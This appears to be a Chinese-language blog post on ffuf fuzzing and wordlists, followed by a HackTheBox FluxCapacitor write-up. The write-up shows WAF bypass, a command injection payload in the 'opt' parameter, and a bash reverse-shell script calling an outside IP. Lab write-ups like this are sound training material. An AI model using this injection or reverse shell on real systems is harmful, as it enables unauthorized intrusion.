Fuzzer

我最常用的就是 ffuf 了,不過還有很多選擇。

  • wenum
  • gobuster
  • feroxbuster
  • …

心得

記得加上 Cookie!

不要懷疑,真的會忘記,如果沒有掃到東西,或是掃到一堆 302,務必務必務必先檢查有沒有加上 Cookie …

副檔名

  • PHP: -e .php,.txt,.bak,.old,.zip
  • IIS: -e .aspx,.asp,.config
  • Java: -e .jsp,.do,.action

辭典

原本我掃目錄都是用 raft-medium-words-lowercase.txt,直到我在 Nineveh 碰壁,用 DirBuster-2007_directory-list-lowercase-2.3-medium.txt 才掃出來 secure_notes,決定來學一下使用辭典檔的精隨。

以下是一些常用的辭典:

  • Discovery/Web-Content/common.txt:拿來掃目錄、子網域、虛擬主機啥的都可以
  • Discovery/Web-Content/big.txt:比 common 更多更雜的辭典
  • Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt & Discovery/Web-Content/raft-large-directories.txt:聚焦在目錄名稱的辭典

不過我發現 SecLists 的 Web-Content 辭典可以分成三類:

  • *-directories-*:真實世界看到的目錄
  • *-files-*:真實世界看到的檔名
  • *-words-*:會把 secure_notes 拆成 secure 和 notes,用的話要注意

反正這東西就各取所需吧!

靶機

FluxCapacitor

這是一台有 WAF 的靶機,打完可以學到很多枚舉(通靈)技巧。進入 http://fluxcapacitor.htb:

用 ffuf 掃了下目錄和檔案:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-files.txt -u 'http://fluxcapacitor.htb/FUZZ'
...<SNIP>...
index.html              [Status: 200, Size: 395, Words: 28, Lines: 17, Duration: 61ms]
.                       [Status: 301, Size: 191, Words: 6, Lines: 8, Duration: 61ms]
sync_menu.php           [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 66ms]
sync.php                [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 68ms]
sync_session.php        [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 70ms]
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u 'http://fluxcapacitor.htb/FUZZ'
...<SNIP>...
sync                    [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 76ms]
synchro                 [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 67ms]
synchronize_db          [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 66ms]

原本還想說「哪個服務這麼酷,有那麼多 sync 的東東」,但上網查沒查到什麼,後來才意識到可能是 WAF 把 sync.* 都設為 Forbidden 了。

在 /<unknown> 下會顯示 Not Found:

只要是帶有 sync 的前綴全部都會回傳 403:

但是很奇怪,明明是 403,但在 ffuf 得到的卻是 200。透過 ffuf -w /tmp/sync.txt -u 'http://fluxcapacitor.htb/FUZZ' -x http://localhost:8080 在 Caido 下觀察,發現會回傳當下系統時間:

推測是 date 指令,因此可能存在 OS Command Injection:

$ date +%Y%m%dT%H:%M:%S
20260921T03:52:46

推測或許會有其它方法可以和 date 互動,第一個我想到 GET 參數:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://fluxcapacitor.htb/sync?FUZZ=value' -fs 19
...<SNIP>...
:: Progress: [6453/6453] :: Job [1/1] :: 194 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

結果沒有找到東西,但是換成 test 卻掃的出來:

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://fluxcapacitor.htb/sync?FUZZ=test' -fs 19
...<SNIP>...
opt                     [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 74ms]
:: Progress: [6453/6453] :: Job [1/1] :: 193 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

猜測應該是把 opt 的值丟給 date 當作額外的參數,掃看看特殊字元:

$ ffuf -w '/usr/share/SecLists/Fuzzing/special-chars.txt' -u 'http://fluxcapacitor.htb/sync?opt=FUZZ'
...<SNIP>...
*                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 69ms]
{                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 69ms]
-                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
]                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
~                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
@                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
>                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 125ms]
=                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
!                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 75ms]
)                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 137ms]
}                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
.                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
\                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 79ms]
(                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 79ms]
_                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 78ms]
:                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 79ms]
,                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 84ms]
<                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 84ms]
?                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 84ms]
;                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 84ms]
'                       [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 92ms]
$                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 92ms]
&                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
%                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
^                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
/                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 96ms]
`                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 96ms]
#                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 96ms]
|                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 96ms]
"                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
+                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 187ms]
[                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 187ms]
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

稍微整理一下:

(                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 83ms]
)                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 87ms]
$                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 87ms]
;                       [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 91ms]
=                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 71ms]
~                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 72ms]
@                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
!                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
&                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
[                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
^                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
{                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
%                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 145ms]
+                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
/                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
]                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
-                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 87ms]
?                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 87ms]
.                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
#                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
}                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
,                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 98ms]
:                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 98ms]
\                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 124ms]
_                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 124ms]
"                       [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 186ms]
'                       [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 186ms]

字元 ' 特別顯眼呀,感覺他就是 injection 的突破口。接著用 python3 製作所有字元:

import string
print(string.printable)

不斷嘗試可能的 injection payload,最後發現 ' id' 成功了:

$ ffuf -w '/usr/share/wordlists/chars.txt' -u "http://fluxcapacitor.htb/sync?opt='FUZZid'"
...<SNIP>...
                        [Status: 200, Size: 98, Words: 8, Lines: 4, Duration: 81ms]

是說這個拿 Shell 的過程也蠻酷的,過程你不用試,你只要知道他媽的他毛一堆就對了。

把我們要傳送的檔案改成 index.html,curl 或 wget 就會把他當作 Main Page:

$ mv test index.html

$ cat index.html
#!/bin/bash

bash -i >& /dev/tcp/10.10.17.56/6061 0>&1

把他抓下來執行就能拿到 Reverse Shell 了: